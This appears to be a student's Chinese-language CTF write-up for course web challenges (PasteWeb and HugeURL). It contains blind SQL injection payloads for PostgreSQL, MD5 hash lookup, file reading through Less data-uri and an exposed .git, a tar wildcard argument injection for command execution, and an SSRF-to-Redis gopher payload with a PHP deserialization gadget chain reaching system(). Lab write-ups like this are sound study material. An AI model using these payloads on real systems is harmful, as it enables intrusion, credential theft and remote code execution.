HW0x04 Writeup

PasteWeb (flag1)

用 SQLI 測試一下後知道 SQL query 成功或失敗會分別通知 `Bad Hacker!` / `Login Failed`，所以要用 Boolean based SQLI。

接著找出用了哪個 DB，慢慢試不同 DB 的 built-in function 後知道是 PostgreSQL 15.1

```
"' or length(user) > 0 --"
"' or length(current_user) > 0 --"
"' or length(current_schema) > 0 --"
"' or substr(version(), 1, 15) = 'PostgreSQL 15.1' --"
```

然後就利用 `string_agg` 把 column 串接起來，`substr` 一個一個字元比較來得到有用的資訊

- Table name
  - `"' or (select substr(string_agg(table_name, ','), {idx}, 1)='{c}' from information_schema.tables where table_name not like 'pg\_%') --"`
- Column name
  - `"' or (select substr(string_agg(column_name, ','), {idx}, 1)='{c}' from information_schema.columns where table_name='s3cr3t_t4b1e') --"`
- Column
  - `"' or (select substr(string_agg(user_account, ','), {idx}, 1)='{c}' from pasteweb_accounts) --"`

最後就在 table `s3cr3t_t4b1e` 的 column `fl4g` 找到 flag，順便得到 admin 的密碼。

PasteWeb (flag2)

得到 admin 的密碼後沒辦法成功登入，才發現這是 md5 hash 過的。

為一些簡單或常見的字串做 md5 hash 過的結果可以查表反推回去，就這樣拿到 (不止) admin 的密碼。結果登入 admin 就看到前人的痕跡，不小心看到 css 裡用了 `url`, `data-uri` 這樣的 function，知道了可能跟這有關，但是為了方便還是弄了一個自己的帳號來解題。

因為我對 web 很不熟，也不知道那兩個 function 能幹嘛，就花了幾天查資料測試，最後發現 `data-uri` 可以讀取任意檔案然後用 base64 encode，但是會擋掉 php 的檔案。

另外在測試過程有發現 `robots.txt` 跟 `.git` 就想到上課提到的透過 `.git` 還原 source code 的工具，可以透過 `data-uri` 來讀 `.git` 裡的檔案。

接著也是花點時間看懂還原 source code 用的 script，其中的 `wget` 沒辦法直接用要另外寫。

最後在 `index.php` 找到 flag。

PasteWeb (flag3)

這部分就是看 source code 找出有問題的地方，大部分在操作網站時就知道得差不多了，只有幾點看過 code 才知道：

1. user 的檔案都放在 sandbox 中
2. editcss 裡有個 POST parameter `theme`
3. ecitcss 會把輸入的東西先存到 `input.less` 中然後用 Less compile 成 `$theme.css`
4. view 也有個 POST parameter `theme`，會做 `file_get_contents($theme.'.css')`
5. download 會執行 `tar -cvf download.tar *` 打包所有檔案

最一開始是想試試看能不能從檔名或 php 字串下手，寫一個 php webshell來執行，但有幾個難關要過：

1. `$theme` 會過濾掉 `/`
2. webshell 要能被 Less compile

3. 檔名會串接 `.css`

結果行不通，重新看一輪後覺得 `tar -cvf download.tar *` 裡面的 wildcard 很可疑，查了一下果然有方法可以攻擊，只要檔名是 `tar` 的參數就會被 wildcard 解析成參數給 `tar`。

只要建立這兩個檔案就能執行 `shell.sh`

```
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
```

但因為建立的檔名都會串上 `.css`，我沒辦法直接用出 `--checkpoint=1`，只要後面接上了其他字元就沒辦法正確解析，而 `--checkpoint` 的預設參數是 10，所以我就建大概 200 個空檔案就能成功觸發 checkpoint，然後要執行的 shell code 就寫在 `input.less` 裡。

總結就是：

- 建 200 個空檔 `1.css` ~ `200.css`
- `input.less` 裡寫 `/readflag > flag`
- 建立一個檔案叫 `--checkpoint-action-exec=sh input.less;cat 1.css`
- download 把 flag 載下來

TodoList

HugeURL

因為有給 source code 所以看一下就知道有 SSRF 可用，然後 Redis 也沒有設密碼，就能直接用 gopher 來對 Redis 下指令，但 `redis.conf` 禁用了幾乎所有危險的指令，所以用 Redis 做 RCE 不太可行。Redis 在 get 的時候會對拿到的 value 做 unserialize，可以寫一個 serialized object 進 Redis 做 RCE，接著就是慢慢找出能用的 chain...

正好 preview page 中這個 unserialized object 會 call 一個 function `previewCard`，並且在 `Bullet\App` 中有 `__call` 能用，而且可以透過調整 class member 來 call 任意 function，但是沒辦法帶上參數，所以要繼續找 chain。

```php
public function __call($method, $args)
{
    if(isset($this->_callbacks['custom'][$method]) && is_callable($this->_callbacks['custom'][$method])) {
        $callback = $this->_callbacks['custom'][$method];
        return call_user_func_array($callback, $args);
    } else {
        throw new \BadMethodCallException("Method '" . __CLASS__ . "::" . $method . "' not found");
    }
}
```

然後 `Bullet\App` 中的 `run` 有一段可以用，裡面的 `$response` 是 `Bullet\Response` object。

`Bullet\Response` 裡有實做 `__toString` 會回傳 member `$_content`，所以只要能控制 `$_content`，在 call `system($response)` 會轉型成 `system($_content)` 就能觸發 RCE。

```php
// Apply user defined response handlers
foreach($this->_responseHandlers as $handler) {
    //Applies any with a null condition or whose condition evaluates to true.
    if(null === $handler['condition'] || call_user_func($handler['condition'], $response)) {
        call_user_func($handler['handler'], $response);
    }
}
```

往前看一點這個 `$response` 怎麼來的。在 `try` 中會得到 `$content` 然後用來建立 `$response`，所以要控制這個 `$content`。

```php
// Explode by path without leading or trailing slashes
$paths = explode('/', $this->_requestPath);
foreach($paths as $pos => $path) {
    $this->_currentPath = implode('/', array_slice($paths, 0, $pos+1));
```

```
    // Run and get result
    try {
        $content = $this->_runPath($this->_requestMethod, $path);
    } catch(\Exception $e) {
        // Setup the response object with status 500 and exception detail as content
        $this->response()->status(500)->content($e);

        // Run filters (always trigger base 'Exception', plus actual exception class)
        $events = array_unique(array('Exception', get_class($e)));
        $this->filter($events, array($e));
        $content = $this->response();
        break;
    }
}
$response = $this->response($content);
```

`_runPath` 裡也有很多 code 能用。我拿其中一段，`$res` 就是要回傳給 `$content` 的值。

接著就是 call 一個 function 並回傳一個可控的值，class member 的 getter 是個好選擇。

```
// Run 'domain' callbacks
$domain = preg_replace('~^www\.~', '', strtolower($request->host()));
if(isset($this->_callbacks['domain'][self::$_pathLevel][$domain])) {
    $cb = $this->_callbacks['domain'][self::$_pathLevel][$domain];
    self::$_pathLevel++;
    $res = call_user_func($cb, $request);
}
```

所以最後串起來變這樣：

```
class Bullet\App {
    protected $_callbacks = array(
        'custom' => array(
            'previewCard' => array(
                class Bullet\App {
                    protected $_callbacks = array(
                        'domain' => array(
                            array(
                                'edu-ctf.zoolab.org:10099' => array(
                                    class Bullet\App {
                                        protected $_currentPath = "anything"
                                    },
                                    'currentPath'
                                )
                            ),
                            array(
                                'edu-ctf.zoolab.org:10099' => array(
                                    class Bullet\App {
                                        protected $_currentPath = "/readflag give me the flag"
                                    },
                                    'currentPath'
                                )
                            ),
                        )
                    )
                    protected $_responseHandlers = array(
                        array('condition', 'system')
                    )
                },
                'run'
            )
        )
    )
}
```

gopher：

```
gopher://redis:6379/_SET%20c8763%20\"O:10:\\\"Bullet\\\\App\\\":1:\\\
{S:13:\\\"\\\\00*\\\\00_callbacks\\\";a:1:\\\{s:6:\\\"custom\\\";a:1:\\\{s:11:\\\"previewCard\\\";a:2:\\\
{i:0;O:10:\\\"Bullet\\\\App\\\":2:\\\{S:13:\\\"\\\\00*\\\\00_callbacks\\\";a:1:\\\{s:6:\\\"domain\\\";a:2:\\\
{i:0;a:1:\\\{s:24:\\\"edu-ctf.zoolab.org:10099\\\";a:2:\\\{i:0;O:10:\\\"Bullet\\\\App\\\":1:\\\
{S:15:\\\"\\\\00*\\\\00_currentPath\\\";s:4:\\\"fuck\\\";\\\}i:1;s:11:\\\"currentPath\\\";\\\}\\\}i:1;a:1:\\\
{s:24:\\\"edu-ctf.zoolab.org:10099\\\";a:2:\\\{i:0;O:10:\\\"Bullet\\\\App\\\":1:\\\
{S:15:\\\"\\\\00*\\\\00_currentPath\\\";s:26:\\\"/readflag%20give%20me%20the%20flag\\\";\\\}i:1;s:11:\\\"curren
tPath\\\";\\\}\\\}\\\}\\\}S:20:\\\"\\\\00*\\\\00_responseHandlers\\\";a:1:\\\{i:0;a:1:\\\
{s:9:\\\"condition\\\";s:6:\\\"system\\\";\\\}\\\}\\\}i:1;s:3:\\\"run\\\";\\\}\\\}\\\}\\\}\"%0D%0A
```

最後去 `http://edu-ctf.zoolab.org:10099/p/c8763` 就看到 flag 了。